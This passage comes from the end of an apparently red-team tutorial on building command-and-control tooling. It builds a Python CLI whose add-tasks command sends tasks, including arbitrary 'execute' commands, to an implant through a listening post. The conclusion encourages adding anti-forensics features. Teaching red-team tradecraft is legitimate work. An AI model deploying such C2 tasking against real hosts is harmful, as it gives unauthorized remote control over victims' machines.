if __name__ == '__main__':
    cli()

```

{% endtab %}
{% endtabs %}

For the Add Tasks command, we need to be able to make POST requests to the listening post:

```bash
def api_post_request(endpoint, payload):
    response_raw = requests.post(listening_post_addr + endpoint, json=payload).text
    response_json = json.loads(response_raw)
    return response_json
```

In the above code block, we define another helper function that uses the Python Requests library to make the POST request. It accepts an "endpoint" parameter and a new "payload" parameter that will hold our JSON request body. In the "requests.post" method, we specify the "json" parameter as containing our payload. Next, we parse the response from the listening post as JSON and return this to the user.

Now, we're ready to go over the Add Tasks command and the way that we build the POST request body:

```bash
@click.command(name="add-tasks")
@click.option('--tasktype', help='Type of task to submit.')
@click.option('--options', help='Key-value options for task.')
def add_tasks(tasktype, options):
    """Submit tasks to the listening post."""
    api_endpoint = "/tasks"
    print("\nHere are the tasks that were added:\n")

    # Perform options parsing if user provided them to the task
    if options != None:
        task_options_dict = {}
        task_options_pairs = options.split(",")

        # For each key-value pair, add them to a dictionary
        for option in task_options_pairs:
            key_vals = option.split("=")
            key = key_vals[0]
            value = key_vals[1]
            pair = {key:value}
            task_options_dict.update(pair)

        # If more than one option was provided, format and append them into a single string
        if len(task_options_dict) > 1:
            keyval_string = ""
            for key,value in task_options_dict.items():
                keyval_string += f'"{key}":"{value}",'
            request_payload_string = f'[{{"task_type":"{tasktype}",{keyval_string[:-1]}}}]'
            request_payload = json.loads(request_payload_string)
            pprint.pprint(api_post_request(api_endpoint, request_payload))
        # Otherwise, just print the key/value for the single option provided
        else:
            request_payload_string = f'[{{"task_type":"{tasktype}","{key}":"{value}"}}]'
            request_payload = json.loads(request_payload_string)
            pprint.pprint(api_post_request(api_endpoint, request_payload))
    # Otherwise, we just submit a payload with the task type specified
    else:
        request_payload_string = f'[{{"task_type":"{tasktype}"}}]'
        request_payload = json.loads(request_payload_string)
        pprint.pprint(api_post_request(api_endpoint, request_payload))
    print()
```

The first part of this code block is mostly boilerplate that's similar to the previous commands we added:

```bash
@click.command(name="add-tasks")
@click.option('--tasktype', help='Type of task to submit.')
@click.option('--options', help='Key-value options for task.')
def add_tasks(tasktype, options):
    """Submit tasks to the listening post."""
    api_endpoint = "/tasks"
    print("\nHere are the tasks that were added:\n")
```

We specify the name of the command and the options we're supporting. In the case of Add Tasks, we want to allow the user to select the task type and the options (if any) that the task type requires. We specify the endpoint and then print out a short message. We can now jump into the bulk of the command code:

```python
# Perform options parsing if user provided them to the task
if options != None:
    task_options_dict = {}
    task_options_pairs = options.split(",")

    # For each key-value pair, add them to a dictionary
    for option in task_options_pairs:
        key_vals = option.split("=")
        key = key_vals[0]
        value = key_vals[1]
        pair = {key:value}
        task_options_dict.update(pair)

    # If more than one option was provided, format and append them into a single string
    if len(task_options_dict) > 1:
        keyval_string = ""
        for key,value in task_options_dict.items():
            keyval_string += f'"{key}":"{value}",'
        request_payload_string = f'[{{"task_type":"{tasktype}",{keyval_string[:-1]}}}]'
        request_payload = json.loads(request_payload_string)
        pprint.pprint(api_post_request(api_endpoint, request_payload))
    # Otherwise, just print the key/value for the single option provided
    else:
        request_payload_string = f'[{{"task_type":"{tasktype}","{key}":"{value}"}}]'
        request_payload = json.loads(request_payload_string)
        pprint.pprint(api_post_request(api_endpoint, request_payload))
```

In the above code block, we have an if-conditional that checks to see if any options were provided for the task. If they were, we declare some variables to hold the task options dictionary of key-values and a variable to split up the key-value pairs. Next, we have a for-loop that splits each key-value pair and adds them to the task options dictionary as a new entry. Now, with our task options dictionary all filled out, we have another if-conditional that checks to see if we have more than one option. If we have several task options, we need to concatenate each key-value option and then add this string to our request payload. We then make the POST request and pretty print the listening post response. Otherwise, if we have a single task option, we can just use the key-value immediately without any for-loop and make the POST request.

In the case that no task options were provided, we have the following:

```python
# Otherwise, we just submit a payload with the task type specified
else:
    request_payload_string = f'[{{"task_type":"{tasktype}"}}]'
    request_payload = json.loads(request_payload_string)
    pprint.pprint(api_post_request(api_endpoint, request_payload))
    print()
```

With the above code block, we don't need to parse any task options and can just make a POST request with the task type. We then pretty print the listening post response.

The last part that needs to be modified is the section that adds each command to the CLI:

```python
# Add commands to CLI
cli.add_command(list_tasks)
cli.add_command(list_results)
cli.add_command(list_history)
cli.add_command(add_tasks)
```

As you can see, we've got a new line that specifies "add\_tasks". With that final change, we're ready to test out our newly added command.

## Add Tasks Test Drive

Ensure that the listening post and implant are both running. Now, run the following command to add a Ping task:

```bash
python fireworks.py add-tasks --tasktype ping
```

You should get back a response similar to the following if things have gone well:

```c
Here are the tasks that were added:

[{'_id': {'$oid': '5f6ef011363fb42173b13a4e'},
  'task_id': '1fcbd838-e800-4da3-9765-b4a15656abb7',
  'task_type': 'ping'}]
```

You can wait a few moments and then run the following to see the results:

```bash
python fireworks.py list-results
```

You'll get back:

```c
Here's the results:

[{'1fcbd838-e800-4da3-9765-b4a15656abb7': {'contents': 'PONG!',
                                           'success': 'true'}, 
  '_id': {'$oid': '5f6ef025363fb42173b13a50'},
  'result_id': '02848048-9179-4b6b-b9b6-3aa7db2e5281'}]
```

Let's try adding a task with an option now. Run the following to add an Execute task with a command of "ping google.com":

```bash
python fireworks.py add-tasks --tasktype execute --options command="ping google.com"
```

You'll get back:

```c
Here are the tasks that were added:

[{'_id': {'$oid': '5f6ef162363fb42173b13a51'},      
  'command': 'ping google.com',
  'task_id': '70492646-6ff1-490a-82de-1d703dfb1bf2',
  'task_type': 'execute'}]
```

You can run the List Results command again to see the following:

```c
Here's the results:

[{'1fcbd838-e800-4da3-9765-b4a15656abb7': {'contents': 'PONG!',
                                           'success': 'true'},
  '_id': {'$oid': '5f6ef025363fb42173b13a50'},
  'result_id': '02848048-9179-4b6b-b9b6-3aa7db2e5281'},
 {'70492646-6ff1-490a-82de-1d703dfb1bf2': {'contents': '\n'
                                                       'Pinging google.com '
                                                       '[172.217.164.206] with '
                                                       '32 bytes of data:\n'
                                                       'Reply from '
                                                       '172.217.164.206: '
                                                       'bytes=32 time=3ms '
                                                       'TTL=115\n'
                                                       'Reply from '
                                                       '172.217.164.206: '
                                                       'bytes=32 time=3ms '
                                                       'TTL=115\n'
                                                       'Reply from '
                                                       '172.217.164.206: '
                                                       'bytes=32 time=3ms '
                                                       'TTL=115\n'
                                                       'Reply from '
                                                       '172.217.164.206: '
                                                       'bytes=32 time=3ms '
                                                       'TTL=115\n'
                                                       '\n'
                                                       'Ping statistics for '
                                                       '172.217.164.206:\n'
                                                       '    Packets: Sent = 4, '
                                                       'Received = 4, Lost = 0 '
                                                       '(0% loss),\n'
                                                       'Approximate round trip '
                                                       'times in '
                                                       'milli-seconds:\n'
                                                       '    Minimum = 3ms, '
                                                       'Maximum = 3ms, Average '
                                                       '= 3ms\n',
                                           'success': 'true'},
  '_id': {'$oid': '5f6ef169363fb42173b13a53'},
  'result_id': '334e866e-d424-4081-a941-d8eda35b0ea5'}]
```

You can see that the results of the ping were successfully populated and we've confirmed that our CLI client is working properly with the new Add Tasks command!

## Conclusion

We now have a more comfortable interface from which to send tasks and see results, quite a bit of a step up from pasting PowerShell commands right? With this piece, we've got a fully functional C2 setup with an operator interface, listening post and implant. Each of the pieces are relatively simple, but that just gives us more room to build on and expand with more advanced components later on.

## Further Reading & Next Steps

To learn more about CLI clients for C2, check out the following projects which employ CLI clients in an excellent fashion:

* Empire by [BC Security](https://twitter.com/bcsecurity1) (<https://github.com/BC-SECURITY/Empire>)
* SILENTTRINITY by [Marcello](https://twitter.com/byt3bl33d3r) (<https://github.com/byt3bl33d3r/SILENTTRINITY>)
* shad0w by [bats3c](https://twitter.com/_batsec_) (<https://github.com/bats3c/shad0w>)


# Conclusion

Concluding remarks and next steps.

Well, that's it! Look forward to an upcoming "Part 2" with sections that improve on the work we started out with here. There's a lot of room to add things like a web front-end for the operator interface, authentication controls on the listening post, the ability to deploy new modules remotely and secure our communication channel with encryption. We should also look at our implant from a defensive/malware analyst perspective and see if there's any anti-RE/forensics capabilities we can include. But, that will come later. For the time being, congratulate yourself on getting started with a solid implant development foundation and building out some C2 components.&#x20;

This is not the end, but an opportunity to keep learning and improving. I hope you'll foster the unique skills required to build this challenging class of offensive tooling and share your work with the community. I look forward to seeing what you make next!


# Special Thanks & Credits

### Special Thanks

* **Jackson Thuraisamy**: For agreeing to review a first draft of this primer, then providing thoughtful and helpful feedback.
  * [Twitter](https://twitter.com/Jackson_T)
  * [Website](http://jackson-t.ca/)
  * [GitHub](https://github.com/jthuraisamy)

### Inspirational Folks and Influences

* **Josh Lospinoso**: For introducing me to the world of modern C++ and implant development.
  * [Twitter](https://twitter.com/jalospinoso)
  * [Website](https://lospi.net/)
  * [GitHub](https://github.com/JLospinoso)
* **SpecterOps Trainers & RTO Course**: For providing a strong foundation from which to learn about Red Team tools, techniques and theory.
  * **Cody Thomas**
    * [Twitter](https://twitter.com/its_a_feature_)
    * [Website](https://its-a-feature.github.io/)
    * [GitHub](https://github.com/its-a-feature)
  * **Matt Hand**
    * [Twitter](https://twitter.com/matterpreter)
    * [Website](https://medium.com/@matterpreter)
    * [GitHub](https://github.com/matterpreter)
  * **Will Schroeder**
    * [Twitter](https://twitter.com/harmj0y)
    * [Website](https://www.harmj0y.net/blog/)
    * [GitHub](https://github.com/HarmJ0y)
  * **Carlo Alcantara**
    * [Twitter](https://twitter.com/carloalcan)
    * [Website](http://www.dcellular.net/blog/)
  * **Adversary Tactics: Red Team Operations**
    * [Website](https://specterops.io/how-we-help/training-offerings/adversary-tactics-red-team-operations)
* **Silent Break Security Trainers & DSO Malware Dev Course**: For giving me the confidence to pursue malware development in Red Team operations.
  * **Trevor Alexander**
    * [Twitter](https://twitter.com/culturedphish)
    * [GitHub](https://github.com/culturedphish)
  * **Nick Landers**
    * [Twitter](https://twitter.com/monoxgas)
    * [GitHub](https://github.com/monoxgas)
  * **Will Pearce**
    * [Twitter](https://twitter.com/moo_hax)
    * [GitHub](https://github.com/moohax)
  * **Dark Side Ops 1: Malware Dev**
    * [Website](https://silentbreaksecurity.com/training/malware-dev/)

### Graphics

All the graphics used in this book were obtained from [thenounproject.com](https://thenounproject.com/), under a [Creative Commons license](https://creativecommons.org/licenses/by/3.0/us/legalcode) and the authors are credited as follows:

* Chapter 1 Logo by [Serhii Smirnov](https://thenounproject.com/pockerironsv)
* Chapter 2 Logo by [Chanut is Industries](https://thenounproject.com/chanut-is)
* Chapter 3 Logo by [Wahyu Prihantoro](https://thenounproject.com/torro2128)
* Chapter 4 Logo by [alvianwijaya](https://thenounproject.com/alvianwijaya)


